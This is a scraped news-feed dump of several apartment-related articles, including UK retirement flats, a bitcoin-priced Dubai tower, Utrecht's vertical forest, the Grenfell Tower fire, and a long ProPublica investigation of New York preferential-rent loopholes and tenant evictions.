
]]> https://briefnews.eu/15-collapsible-kitchen-tools-that-are-perfect-for-small-apartments/feed/ 0 Live home and away with lock-up-and-leave retirement apartments https://briefnews.eu/live-home-and-away-with-lock-up-and-leave-retirement-apartments/ https://briefnews.eu/live-home-and-away-with-lock-up-and-leave-retirement-apartments/#respond Fri, 10 Nov 2017 13:22:55 +0000 http://briefnews.eu/live-home-and-away-with-lock-up-and-leave-retirement-apartments/

Even if you are not so footloose and fancy free, the worry of leaving a home empty while you are away is a thing of the past once you move into a retirement development with 24-hour security.

These can range from small blocks of flats with no communal facilities, to retirement villages offering a swimming pool or spa and on-site healthcare.

For instance, Les and Tuija Morris say their fl at at Renaissance Retirement’s Fleur-de-Lis Haywards Heath development in Sussex – close to Gatwick Airport – is perfect for their dual-nationality partnership.

The couple spend seven months in Finland, three in England and the rest of the year travelling, so they snapped up their two-bedroom apartment while it was still being built.

“We have settled in very well but, to be honest, we aren’t here very much,” says Les, 73.

“We are just planning a South America cruise for the new year and will be in Finland in the summer. But we socialise with the other owners here and some of them had a similar reason to buy as us.”

Tuija, 63, adds: “It’s perfect and offers us carefree living. You can lock the front door, let the concierge know you are away for a few months and have no worries.”

Fleur-de-Lis Haywards Heath is 70 per cent sold out but one-bedroom fl ats are available from £290,000 within the 4-star hotel-style development, which features an owners’ drawing room, guest suite, parking and gardens (01444 455699; renaissancegroup.co.uk).

Those without a home abroad might be drawn to more on-site facilities such as Anchor’s Bishopstoke Park retirement village in Eastleigh, Hampshire, which has a wellness centre and spa, award-winning restaurant, delicatessen and activity room.

One-bedroom apartments are still available from £239,000 (0808 102 4177; anchor.org.uk). Eileen Davey, 84, is an energetic member of the choir there, having performed all over the North East: “I even met Morecambe and Wise on one of my adventures,” she says.

“I have never been someone who stays still for very long. When I was younger I’d be travelling the country as a pillion passenger on the back of my husband’s motorbike.

“Nowadays I spend a lot of time on musical trips and holidays listening to different genres of music and meeting people. It is reassuring to know that at Bishopstoke Park my apartment will be looked after when I’m gone and it enables me to continue to travel as I always have.”

Colin and Joyce Greenfield live at Renaissance Villages’ Durrants Village but holiday frequently: “The village management team will organise for a cleaner to come in whilst we are away,” says Colin, 81.

“Gatwick and Southampton are both fairly easily accessible by taxi so we are well situated for departures.”

Durrants Village is set in 30 acres, four miles from the market town of Horsham, and has 174 properties, from two-bedroom cottages starting at £510,000 to new-release three-bedroom cottages from £535,000 (01293 851935; ).

As Howard Phillips, CEO of luxury retirement developers PegasusLife, says: “The modern retiree has an active, jet-setting, lifestyle. They hop on planes for a weekend trip to see friends and family or just to enjoy free time in the sun.”

That is why PegasusLife has built Chapelwood in Wilmslow, 15 minutes from Manchester Airport (01625 569492; chapelwoodwilmslow.co.uk) and Carriages in Purley, 20 minutes from Gatwick (020 3308 2550; ).

“Downsizing to an apartment in such a location not only offers an easy-to-manage home for when owners are in the UK but they are conveniently located to allow them to escape to the sun easily,” adds Phillips. 

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]]> https://briefnews.eu/live-home-and-away-with-lock-up-and-leave-retirement-apartments/feed/ 0 19 Bizarre Things About NYC Apartments Most Americans Will Never, Ever Get https://briefnews.eu/19-bizarre-things-about-nyc-apartments-most-americans-will-never-ever-get/ https://briefnews.eu/19-bizarre-things-about-nyc-apartments-most-americans-will-never-ever-get/#respond Sun, 10 Sep 2017 23:29:51 +0000 http://briefnews.eu/19-bizarre-things-about-nyc-apartments-most-americans-will-never-ever-get/

The two most common categorizations are “prewar,” referring to apartments built before World War II, and “postwar,” referring to ones built after the war, but there are more.

66 Perry St., which you might recognize, above, from Sex and the City, was built in 1866, making it pre-pre-prewar (built before the Spanish-American War).

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]]> https://briefnews.eu/19-bizarre-things-about-nyc-apartments-most-americans-will-never-ever-get/feed/ 0 Britain’s Bra Baroness will sell apartments in her new $326 million Dubai tower for bitcoin https://briefnews.eu/britains-bra-baroness-will-sell-apartments-in-her-new-326-million-dubai-tower-for-bitcoin/ https://briefnews.eu/britains-bra-baroness-will-sell-apartments-in-her-new-326-million-dubai-tower-for-bitcoin/#respond Wed, 06 Sep 2017 08:08:44 +0000 http://briefnews.eu/britains-bra-baroness-will-sell-apartments-in-her-new-326-million-dubai-tower-for-bitcoin/

Michelle Mone rose from a working-class Scottish background to become one of Britain’s most renowned entrepreneurs thanks to the runaway success of her unique bra designs.

Mone exited the lingerie business a few years ago and was recently named a Baroness and given a seat in the House of Lords. But entrepreneurship is calling, and so Mone has announced a new joint venture with her business partner and boyfriend Douglas Barrowman.

The pair is building a residential tower in Dubai with an interesting twist: It targets the crypto-currency community. Apartments in the 40-story tower will be listed and sold for bitcoin, something the partners claim is a first for residential property.

Beyond turning a profit, Mone said she hopes the ensuing publicity around the project will raise more awareness and curiosity about bitcoin.

“The majority of people on the streets haven’t heard of bitcoin,” Mone said. “And if they have, they don’t know what it is. So we’re bringing bitcoin to the masses.”

The apartments went on sale just after midnight in Britain on September 6 at Ashtoncryptoplaza.com. The prices start at 33 bitcoin, or about $ 150,000.

The tower is expected to be completed some time in 2019, and will be located above a massive mall in Dubai. The tower will have 1,133 apartments that can each be bought through the website using bitcoin. Once purchased, the owner can follow the construction process via webcams that will be placed on site and streamed to the website.

The pair will initially post the first 150 apartments for sale. After the 50th apartment is sold, they will also give on away for free.

Though Mone is somewhat new to cryptocurrency, she now has a bitcoin wallet. However, Barrowman has been a long-time supporter and investor into bitcoin ventures. He believes the project will be appealing to members of the crypto community who have been accumulating wealth and would like a way to diversity beyond other crypto currencies or initial coin offerings.

“It was a natural extension for me to view bitcoin as a mainstream currency.”

Together, they’re betting that their long-term success in different business ventures and the transparency of the project will be advantages to convincing crypto currency holders to trust them.

“We’re well-known business people,” Mone said. “And the crypto currency business world is built on trust.”

VentureBeat

]]> https://briefnews.eu/britains-bra-baroness-will-sell-apartments-in-her-new-326-million-dubai-tower-for-bitcoin/feed/ 0 A stunning new smog-eating ‘vertical forest tower’ will feature luxury apartments and 300 species of plants https://briefnews.eu/a-stunning-new-smog-eating-vertical-forest-tower-will-feature-luxury-apartments-and-300-species-of-plants/ https://briefnews.eu/a-stunning-new-smog-eating-vertical-forest-tower-will-feature-luxury-apartments-and-300-species-of-plants/#respond Sat, 22 Jul 2017 08:00:01 +0000 http://briefnews.eu/a-stunning-new-smog-eating-vertical-forest-tower-will-feature-luxury-apartments-and-300-species-of-plants/ stefano boeri vertical forestStefano Boeri Architetti

A smog-eating tower will soon go up in the Netherlands city of  Utrecht.

On the outside, 10,000 trees and shrubs — nearly half the amount found in New York’s Central Park — will fill the skyscraper’s facade, roof, and balconies. Inside, it will feature 200 luxury apartment units, restaurants, a fitness center, and offices.

Called the Utrecht Vertical Forest, the 300-foot-tall tower will host around 30 different plant species. The plants will absorb 5.4 tons of carbon dioxide emissions per year — the equivalent of about one car, according to designers from Italian architecture firm Stefano Boeri Architetti. In addition, the company said the tower will produce about 41,400 tons of oxygen annually, roughly the same as what 2.5 acres of forest generates.

holland forestStefano Boeri Architetti

The mixed-use building is being billed as the “new healthy center of Utrecht,” since the plan calls for healthy eateries, a gym with yoga studios, bike parking, and a small public park. The Vertical Forest Hub, a new research center on urban forestation, will also have offices on the ground floor.

holland forest 2Stefano Boeri Architetti

In June, Stefano Boeri Architetti announced that it will build a “forest city,” made up of towers covered in 40,000 trees and nearly one million plants, in Liuzhou, China by 2020. The skyscrapers’ designs be will similar to that of a two-tower complex that Boeri designed in Nanjing. Another tower in Lausanne, Switzerland will follow a similar plan and is expected to open by early 2018.

Like these projects, the Utrecht Vertical Forest aims to make its city a little more green (even if its effect on pollution is minimal).

The tower “attempts to create, in Utrecht’s city center, an innovative experience of cohabitation between city and nature,” the architects wrote.

Construction, which is expected to last three years, will begin in 2019. 

NOW WATCH: These size comparisons show the true scale of enormous things

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]]> https://briefnews.eu/a-stunning-new-smog-eating-vertical-forest-tower-will-feature-luxury-apartments-and-300-species-of-plants/feed/ 0 Terrifying videos of West London Tower blaze: 120 apartments engulfed, falling debris (VIDEOS) https://briefnews.eu/terrifying-videos-of-west-london-tower-blaze-120-apartments-engulfed-falling-debris-videos/ https://briefnews.eu/terrifying-videos-of-west-london-tower-blaze-120-apartments-engulfed-falling-debris-videos/#respond Wed, 14 Jun 2017 06:45:51 +0000 http://briefnews.eu/terrifying-videos-of-west-london-tower-blaze-120-apartments-engulfed-falling-debris-videos/

A huge blaze, falling debris, and people reportedly still trapped inside – terrifying footage of the inferno at the massive block in West London has emerged online.

“The fire started happening on the third floor. We called the fire brigade. They came 20 minutes later. And then the whole thing just went off. An hour and a half later I saw a kid on the 22nd floor on fire. He went to the window and jumped,” Greg Stevens, an evacuee, told Ruptly news agency.

Another video featured a figure in a window of the burning Grenfell Tower in the early hours of Wednesday morning.

Another evacuee, Daniel Williams, described how fire brigades were battling the blaze.

“They’ve come down, and they’ve tried to put the fire out but they weren’t reaching it… As the fire got higher, then they decided to use the ladders. But even then, the fire has just gone up. And now half of the building is gone,” he told Ruptly.

As of early Wednesday morning, the building is still engulfed in flames.

At least 45 fire engines and over 200 firefighters and officers have been deployed to the scene, the London Fire Brigade said.

“Firefighters wearing breathing apparatuses are working extremely hard in very difficult conditions to tackle this fire. This is a large and very serious incident and we have deployed numerous resources and specialist appliances,” Assistant Commissioner Dan Daly said.

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]]> https://briefnews.eu/terrifying-videos-of-west-london-tower-blaze-120-apartments-engulfed-falling-debris-videos/feed/ 0 Loopholes allow New York landlords to boost rents on stabilized apartments https://briefnews.eu/loopholes-allow-new-york-landlords-to-boost-rents-on-stabilized-apartments/ https://briefnews.eu/loopholes-allow-new-york-landlords-to-boost-rents-on-stabilized-apartments/#respond Wed, 26 Apr 2017 04:05:21 +0000 http://briefnews.eu/loopholes-allow-new-york-landlords-to-boost-rents-on-stabilized-apartments/ new york city apartmentsCapture Light/Shutterstock.com

(ProPublica) — In October 2015, Scherrie and Langston Donaldson received a cryptic notice from their landlord, labeled “preferential rent credit removal.” At first glance, they weren’t sure what to make of it.

“As you know, we have been billing you at a preferential rent for your 2013-2015 lease,” it read. “Unfortunately, at this time we are no longer able to extend this courtesy to you.”

Then Scherrie Donaldson realized what it would mean for her family: A $ 571 increase in the monthly rent. That would upend the budget of the Brooklyn couple, who had recently welcomed a baby boy into their family. They could no longer afford family vacations, she thought, and summer music lessons for her two older sons, Tristan and Avery, were in jeopardy. They might even have to leave the neighborhood they loved.

Suddenly, the middle school special education teacher felt priced out of the city that she and her husband — an ironworker who helped rebuild the transit hub at the World Trade Center — have called home for more than 25 years.

“It makes it just harder to stay in the city,” she said. “Harder to be a New Yorker … just feel like we just keep getting pushed and pushed.”

To protect middle-class families like the Donaldsons from the city’s soaring housing costs, New York City has for decades capped annual rent increases and offered safeguards against spurious evictions. Under a 1974 state law known as “rent stabilization,” which applies to New York City and a handful of other municipalities, the Donaldsons should have received a 1 percent increase when they renewed the lease on their apartment in Brooklyn’s Prospect Park South.

And for the past two years, anyone renewing a one-year lease for a rent-stabilized apartment was entitled to a rent freeze.

But for renters in almost 30 percent of the city’s 860,000 rent-stabilized apartments, the law’s protections against steep rent hikes have vanished thanks to a late-night loophole created by state lawmakers in 2003. The loophole involves a seeming benefit to tenants known as a “preferential rent” — a rent below the legal maximum allowed under rent stabilization.

landlord with keysKyle_B_Thomas via Flickr

Landlords say such discounts are good for tenants because “they’re getting a deal. They’re getting a bargain. They’re paying less money than legally they have to,” said Frank Ricci, head of government affairs for the Rent Stabilization Association, which represents property owners.

Some tenants are indeed getting a break. Suzanne Biggan considers herself lucky because her preferential rent — $ 1,860 per month — is a bargain in Williamsburg and a lot less than the $ 2,686 her landlord could legally charge for her two-bedroom apartment.

“I definitely feel like I have one of the best deals of anybody I know,” said Biggan, a massage therapist.

Dimitrios Paliouras, a Greek immigrant who has owned the building since 1983 and relies on it as his primary source of income, said he doesn’t mind charging less — as long as tenants pay what they owe.

“I could get another two, three, four-hundred dollars in some apartments but I say ‘it’s OK.’ Everybody has to make a living,” Paliouras said.

But there’s a catch. Increases in preferential rents aren’t subject to city-set limitsgoverning other rent-stabilized apartments. Landlords can revoke the preferential rates, and hike rents to the legal maximum, whenever leases come up for renewal. That can mean spikes of hundreds or even thousands of dollars. The Donaldsons’ landlord, for example, charged them a preferential rent of $ 1,494 until he revoked the discount and boosted the rent to the legal maximum of $ 2,065.

“It sort of defeats the whole purpose of rent stabilization, which is to give the tenants some security,” said Ed Josephson, director of litigation for Legal Services NYC, which represents low-income renters in housing court.

brooklyn apartment rentDrew Angerer/Getty

Since ProPublica launched its “Rent Racket” reporting project in November 2015, tenants have been sharing leases, rent histories and stories of their experiences via an online reader survey. Preferential rents have emerged as their most common complaint. Some tenants provided records showing legal maximums that exceed $ 10,000, or rents that suddenly doubled to more than $ 7,000 when the preferential rate was revoked.

The complaints are particularly common in up-and-coming neighborhoods such as Crown Heights and Prospect Park South, where tenant advocates say preferential rents are being used as a tool to foster displacement and gentrification.

The Donaldsons’ landlord, Michael Niamonitakis of Meridian Properties, said he revoked their preferential rent because they often didn’t pay on time. Normally, he said, “That’s not the way we operate. We try to collect increases, but they’re reasonable increases for working families,” he said. “We realize this is their home.”

The Donaldsons acknowledged occasionally being late with their rent but said they always paid what they owed. The sudden hike to the legal maximum amounted to “a bully tactic,” Scherrie Donaldson said.

Landlords are supposed to set the maximum legal rents in accordance with the stabilization rules, which include allowances for renovations, annual rent hikes and other factors. They submit the maximum legal and preferential rents each year to New York State’s Division of Housing and Community Renewal.

But the division rarely checks to make sure the legal maximums are in compliance. When it supplies an apartment’s rent history to a tenant, it provides a disclaimer: “DHCR does not attest to the truthfulness of the owner’s statements or the legality of the rents reported in this document.”

apartment rentFlickr/Salem Eames

That frees landlords to put down any figure they choose as the legal rent. Some owners submit maximums above $ 60,000 a month, ProPublica found.

Most of these maximums may be unjustified, according to a court filing by state lawyers for the division’s Tenant Protection Unit. A 2014 lawsuit by the Rent Stabilization Association, the landlord group, sought to disband the unit, which can audit landlord records and seek penalties. The association argued that Gov. Andrew Cuomo lacked the authority to establish the unit, and challenged several amendments that strengthened state rent laws.

In response, lawyers for the state argued that the governor did have the power to create the unit, and stronger rules were needed to combat “unscrupulous tactics” involving preferential rents. “For example, a landlord can lure a tenant with a lease listing a low ‘preferential’ rent and an unlawfully high ‘legal’ rent, which the tenant never pays during the term of the lease and thus has little incentive to challenge at the time,” lawyers for the unit wrote. “Then, at the end of a lease term, the landlord can offer the tenant a renewal lease at the unlawfully high ‘legal’ rent listed in the prior lease. … The Division’s experience has shown that this example is not fanciful; in some 55 percent of instances where landlords claim to be charging a preferential rent, the Unit has assessed that the claimed legal rent was unsupported.”

Both the landlord association and the division declined comment on the lawsuit, which is pending. The division said in response to questions that it “is committed to protecting the rights of rent-regulated tenants by enforcing and administering the law as enacted by the Legislature and interpreted by the Courts.”

New YorkTTstudio/Shutterstock

The Rent Stabilization Association’s Ricci disputed that the example described in the court filing is a common business practice. “No one here has ever met an owner who says ‘yeah, that’s my business model,’” he said, adding: “It’s just a bogus issue.”

Still, ProPublica found that landlords sometimes boost legal maximums beyond the market rates in their neighborhoods. The monthly legal rent at one East Williamsburg apartment has swelled to about $ 12,000 due to the owner’s repeated use of the “vacancy allowance,” which permits a rent hike of as much as 20 percent whenever a tenant moves — even if a roommate remains on the lease. Because few East Williamsburg residents can pay that much, the owner last leased it at a preferential rent of $ 3,850.

Data show that the threat of large rent spikes is becoming more prevalent. The median gap between monthly preferential and legal maximum rents increased 55 percent citywide, from $ 286 in 2008 to $ 444 in 2015, according to a data analysis conducted for ProPublica by the city’s Independent Budget Office. In Manhattan, the difference tops $ 800.

A sudden rent hike of $ 444 would be tantamount to an eviction notice for many renters: The median income for rent-stabilized tenants is about $ 3,400 a month and rent already eats up 35 percent of that, according to the city’s latest housing survey.

“For tenants in intensely gentrifying neighborhoods like Crown Heights, the effects are immediate,” said Kerri White, director of organizing for the Urban Homesteading Assistance Board, a tenants’ rights group.

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Take Ebbets Field as an example.

The sprawling, H-shaped complex on the western edge of Brooklyn’s Crown Heights was built just a few years after the Dodgers played their last baseball game on the same site in 1957. Known as Ebbets Field, it was where Jackie Robinson broke baseball’s color barrier, and where the renowned “boys of summer” won six National League pennants from 1947 through 1956.

Today, the ballpark’s namesake 1,300-unit complex is a city unto itself, providing rent-stabilized housing to hundreds of lower-income African-American and immigrant families. But the fabric of that community is changing fast thanks to preferential rents.

Records show Fieldbridge Associates, owner of Ebbets Field, filed more than 1,800 eviction cases against tenants from 2014 through 2016. According to Beverly Newsome, president of the tenants’ association there, new tenants must sign a lease with a rider stipulating that the rent is preferential and the landlord can revoke it. Riders reviewed by ProPublica warn that “should legal action to collect rent be deemed necessary,” the rent will spike to the legal maximum.

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There’s more at stake than just rent hikes. When building services deteriorate or repairs aren’t made, rent-stabilized tenants are entitled to file complaints with the state’s Division of Housing and Community Renewal seeking rent reductions or refunds. They also have the right to call 311, the city’s hotline for reporting building code complaints, without fear of retaliation from owners. But tenants with preferential rates are often afraid to take that chance.

At a February tenants’ association meeting, Newsome told about 40 residents gathered in a bright green community room about a tenant who signed on to a rent reduction complaint for various issues in his building, only to be told by management to remove his name or see his preferential rent soar $ 400.

“Oh wow,” shouted one tenant. “Whoa,” yelled another.

“And that’s small” compared to other increases she’d seen, Newsome said. The result was “tenants living in … a rent-stabilized building without the benefits.”

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Robin Taylor was one such tenant. The former school secretary moved to Ebbets Field in March 2010 after her house in the Bronx was foreclosed on. The single mom was able to afford her preferential rent — then $ 1,425 per month — thanks to about $ 2,700 in monthly retirement and disability benefits and occasional help from her daughter.

A few months after moving in, Taylor and her daughter TreZure started noticing water leaks — first in the bathroom and later in the kitchen. “The entire ceiling in her bathroom fell in,” Taylor’s daughter recalled. “We would have to always sweep out the tub before we could even use it because there was constantly debris from the ceiling falling into the tub.”

Taylor reported a litany of problems to the city, including bulging plaster, broken plumbing, water leaks and mold, according to a February 2011 inspection report.

“She was engaged,” Newsome told ProPublica. “If she had issues in her apartment and they didn’t fix them, she called 311.” Taylor also encouraged neighbors to do the same, Newsome recalled.

Taylor said Fieldbridge was slow to make proper repairs. She began withholding rent — a legal-but-risky strategy that landed her in housing court several times when Fieldbridge initiated eviction proceedings.

“I have this month’s rent but I do not want to pay until repairs are completed,” she wrotein a January 2013 affidavit. “She has rarely paid her rent in anything remotely approaching a timely fashion,” a lawyer for Fieldbridge countered.

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When Taylor’s lease came up for renewal in 2013, Fieldbridge raised her preferential rent— by then, $ 1,625 per month — to the legal maximum of $ 2,314. Taylor responded by filing a rent overcharge complaint with the state, records show.

The following month, Fieldbridge offered to reduce the legal rent back to a preferential rate of $ 1,675 — if Taylor dropped the overcharge case and paid more than $ 6,000 in arrears.

A letter to the state from one of Fieldbridge’s attorneys acknowledges that Taylor fulfilled these terms. But, for reasons unclear from the available records, the deal fell apart. By June, Fieldbridge moved to evict her for her failure to sign the lease with the maximum rent. As is common in such situations, the company declined to accept rent paymentswhile the case was pending.

The proceeding dragged on for more than two years. During that time, Taylor said, the leaks in her apartment continued but Fieldbridge “came to fix stuff less and less.” Mold spread throughout the apartment, her health declined and the city appointed a guardian to help her cope with the stress of the eviction proceeding. In the spring of 2015, the pipe above Taylor’s bathtub leaked again, creating a giant plaster bubble that ultimately burst. In June 2015, another flood destroyed most of her belongings. By then, Taylor and her guardian were looking to relocate her. But Taylor’s deteriorated health and finances made it difficult to find a suitable home.

If evicted, “Ms. Taylor will be rendered homeless and will have no housing option that does not present a threat to her health and safety,” her guardian, the Jewish Association Serving the Aging, warned in an August 2015 affidavit. The association declined to comment on her case.

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Fieldbridge countered that the eviction proceeding had gone on long enough and that Taylor now owed $ 58,445 in arrears billed at the legal maximum. Fieldbridge had “carried the burden for Ms. Taylor long enough,” the firm’s lawyer argued.

The judge agreed and on Aug. 31, 2015, a city marshal and police officers evicted Taylor. “I was evicted out of the house in a night gown and slippers,” without her oxygen tank or medications, Taylor recalled. “I didn’t even have a fork, pot or bed to move with. … I lost everything.” The building manager did allow her daughter to retrieve some possessions for a few hours the next day.

She was homeless for 18 months, often sleeping in the basement of her godmother’s house near John F. Kennedy International Airport. She recently found a temporary sublet, but a permanent home continues to elude her. Meanwhile, her old unit has been renovated and rerented at a higher preferential rent.

Fieldbridge did not respond to calls, emails and a hand-delivered letter seeking comment.

Prior to 2003, landlords who charged a preferential rent could only hike it to the legal maximum when a tenant moved out. During the tenancy, an increase in the preferential rent was subject to the same limits that applied to any other rent-stabilized apartment.

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Landlords had little incentive to discount rents, since they couldn’t recoup the subsidy until the apartment switched hands. As a result, less than 100 apartments had preferential rents in 2000, state data show.

That would soon change.

Just before midnight on June 19, 2003, a bill renewing state rent laws suddenly landed on the New York Senate floor. A message from then-Gov. George Pataki, a Republican, asked lawmakers to pass it immediately before ending the legislative session — even though the Assembly hadn’t even seen it.

Before copies of the bill could be printed, debate began on the floor. The measure’s proponent, Republican state Sen. John Bonacic, said “it does not affect the life of any tenant or landlord” because the bill would make only “technical clarifications” to state rent laws.

But John Allen, then legal counsel for the Senate Democrats, had just enough time to skim the bill and find the provision allowing owners to hike preferential rents to legal maximums upon lease renewal. He explained its impact to then-state Sen. Eric Schneiderman, who debated the measure on behalf of the Democrats.

“I think this is a bomb hidden in a bill,” Schneiderman answered Bonacic on the Senate floor, adding that the legislation amounted to “a declaration of nuclear war on rent-regulated tenants in New York.”

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Asked about this prediction at a recent press conference, now-Attorney General Schneiderman said, “I remember that debate,” but declined comment on the issue.

A spokesman for Bonacic said in a statement: “Senator Bonacic feels that allowing landlords to offer preferential rents opens opportunities for individuals to access apartments that they may not otherwise be able to afford, rather than providing incentives to landlords to keep apartments vacant so they can retain the previous legal maximum rent.”

With real-estate-friendly Republicans in control of the Senate, the bill passed by a 35-26 vote, largely along party lines. The Senate then ended its session for the year, leaving the tenant-friendly Democrats who controlled the Assembly in a tough spot. With the Senate already adjourned, they could either pass Pataki’s version with its weakening amendments or let the laws expire altogether.

“It’s a classic midnight end-of-session story,” said Liz Krueger, a Democrat from the Upper East Side who opposed the measure.

Krueger urged Assembly Democrats to call Senate Republicans’ bluff and not approve the weaker bill. Democrats were afraid, however, to get the blame for letting rent laws expire, which they realized might lead to rent spikes as leases came up for renewal.

So they passed the bill. Some who supported it say that they didn’t understand its implications, or were too weary to care. “I had never heard of preferential rents before,” said Keith Wright, who then represented Harlem. “Listen, I don’t care who you are, anybody is tired at three o’clock in the morning.”

Pataki immediately signed the bill into law. He did not return messages and emails seeking comment for this article.

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Two weeks after passage, Sherwin Belkin, one of the most prominent landlord attorneys in the city, explained various aspects of the new law in a New York Times interview. But one change stood out in particular.

“The one that will take the most tenants by surprise has to do with preferential rents,” Belkin said.

Asked about his prediction, Belkin wrote in an email that “I do not wish to participate in this story” and that “quoting remarks from 13 years ago is misleading and not informative.”

Fourteen years later, there are about a quarter-million apartments with preferential rents, according to a statewide tally obtained under New York’s Freedom of Information Law. That’s led tenant groups to push for repeal of the 2003 law.

Their efforts have had little success. The Democrat-controlled Assembly has passed repeal bills at least six times since 2003. But the Republican-led Senate has not allowed a vote on those bills — except once, when Democrats briefly controlled the chamber in 2010. Nor have repeal measures been included in periodic renewals of the rent laws.

Repeal efforts in the Senate, where Democrats have a numerical majority, have been stymied by a breakaway faction of Democrats. Known as the Independent Democratic Conference, they have chosen to caucus with Senate Republicans. That assures Republicans control over which bills get voted on.

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The faction is led by Bronx state Sen. Jeff Klein, one of the chamber’s top recipientsof campaign contributions from the real-estate industry. Klein has not signed on to any repeal bills and lately has been recruiting additional senators to join his group, including some who represent gentrifying neighborhoods such as Inwood, Jackson Heights and Crown Heights.

In November, state Sen. Jesse Hamilton— a Crown Heights Democrat whose office is located right across the street from Ebbets Field — joined Klein’s group, which now has eight members.

Hamilton said in a statement that he joined the breakaway faction of Democrats because it “gets results on progressive issues.” He did not list reform of preferential rent as one of those issues.

Hamilton has collected $ 41,650 from real-estate contributors for his 2014 and 2016 New York Senate races, making the industry his third largest source of identified campaign funds, according to FollowTheMoney.org. He said the contributions “play no role whatsoever in legislation.”

Newsome, the tenants’ association president, recently met with Hamilton but said she came away with no commitment from him to change the law. Hamilton declined to be interviewed, but a spokesman said the Senator supports several tenant-friendly bills, including one of Krueger’s repeal bills.

A spokeswoman for Klein, the group’s leader, said that “Senator Klein is fully aware of the issues associated with preferential rent. He is in the process of working with local tenant leaders to address these concerns and come up with a legislative solution.” She declined to elaborate.

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When informed of Klein’s response, Paulette Sorg, a tenant association president in Klein’s district, said she’s requested a meeting with Klein to discuss the issue but hasn’t received one.

Apartment hunting in 2010, the Donaldsons spotted the ideal place to raise their growing family. The 14-story red-brick building, 160 Parkside Ave., was perched right across the street from Brooklyn’s sprawling Prospect Park, overlooking acres of playgrounds, bike paths, ponds and picnic areas. There was a laundry in the building, and a subway stop as well as a supermarket and other shops nearby.

They agreed to rent an eighth-floor unit for $ 1,375 per month. When they went to sign their lease, they were puzzled to see that it also listed a legal maximum of $ 1,881 per month. Their broker, Pepi Sorvali, assured them not to worry about the $ 1,881 rent because they’d be paying the lower, preferential amount.

“It would never go up to that,” Scherrie Donaldson recalled Sorvali telling her.

“I certainly didn’t tell them that,” Sorvali said in an email when asked about the exchange. She said she would explain to prospective tenants that the owner has the right to raise the rent to the legal maximum upon lease renewal. Donaldson stood by her recollection of the conversation.

The Donaldsons quickly settled in. Scherrie Donaldson walked a few blocks on weekday mornings to the middle school where she taught. Her husband Langston — who had once delivered packages to 160 Parkside as a FedEx carrier — transitioned to a higher-paying job as an ironworker and joined a local union.

The couple had a second son in 2011. Scherrie went on leave to care for their children and relished taking them to the park.

“We were always somewhere. Always on the go, in the park, running, ice skating,” she said. She’d arrange playdates for her children with other parents in the neighborhood and began writing a blog about motherhood in her spare time.

At first, their landlord, Meridian Properties, offered the couple preferential rent increases that mirrored the city-set limits. The rent went up 4.5 percent in 2011 and another 4 percent in 2013 to $ 1,494, the same as the city-set limits for two-year lease renewals.

But the monthly bills came with a reminder that the rent could easily be higher. Meridian would bill the Donaldsons at their maximum legal rent — over $ 500 more — and then subtract a “preferential” credit to arrive at the actual price.

That preferential discount began to melt away when the Donaldsons received their renewal offer in May 2015. While the city capped rent increases at 1 percent, Meridian asked for a $ 301 increase on a one-year lease renewal – a 20 percent hike that would bring their rent to $ 1,795.

“This is crazy,” Scherrie Donaldson thought. With some trims in their budget, they could afford it. But the couple’s family had grown. With three kids and only one bedroom, they couldn’t justify paying that much more. The couple reluctantly signed the renewal, and sent in a $ 301 check for the additional security deposit, figuring they’d have a year to find a bigger place.

Meridian cashed the security deposit check in August 2015, according to Donaldson’s bank records. But in October the company sent them a new renewal lease reneging on the $ 1,795 offer and raising their preferential rent to the legal maximum of $ 2,065.

Meridian’s Niamonitakis said he revoked the Donaldsons’ preferential rent because, on six separate occasions, Meridian had to inquire about nonpayment of rent. In August 2015 — between the initial $ 301 increase and the eventual $ 571 renewal offer — Meridian initiated an eviction case against the Donaldsons, alleging nonpayment of rent for June, July and August.

“It got to the point where if I was going to fight for the rent and take them to court, it’s not worth for us having them in the building,” Niamonitakis said. “So that’s why we took their preferential (rent) away.”

Although he doesn’t like to revoke preferential rents, he added, there’s nothing wrong with it: “It’s the same as having a deregulated apartment.”

The Donaldsons showed ProPublica a check for June and July rent that they say was sent prior to an August 6 notice alleging nonpayment and threatening to initiate eviction proceedings in five days. It wasn’t cashed by the landlord until later.

“We were going to court to basically [say] that, ‘No, we don’t owe any rent. That’s paid off, and what are we supposed to pay now?’” Scherrie Donaldson said.

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In the midst of the dispute, the tenants’ association president for 160 Parkside Ave. informed the Donaldsons that they were likely the ones who were owed money, not Meridian. The association had filed a rent reduction complaint due to broken elevators and other inconveniences. The state granted the reduction and ordered that rents be rolled back on dozens of apartments from June 2011 to December 2014 — including the Donaldsons’ unit. They calculated that they were entitled to almost $ 8,000 in back rent.

The Donaldsons deducted the overcharge amount from their monthly rent payments. Once they had been made whole, they decided to move rather than renew at the maximum legal rent.

A year ago, they settled in with Langston’s mother in East Flatbush, two miles away. That’s where the couple still find themselves, with unpacked belongings reminding them of the life they left behind in Prospect Park South.

They still don’t feel at home the way they did at 160 Parkside. There’s no park for their children to play in. The nearest subway is a mile away. With her husband using their car for work, Scherrie Donaldson takes an Uber to pick up the kids from school.

“I’m lucky enough to have options and have some place to go, but a lot of people don’t,” Langston Donaldson said. “You become homeless. You become displaced.”

Marcelo Rochabrun contributed reporting to this story. Derek Kravitz contributed research.

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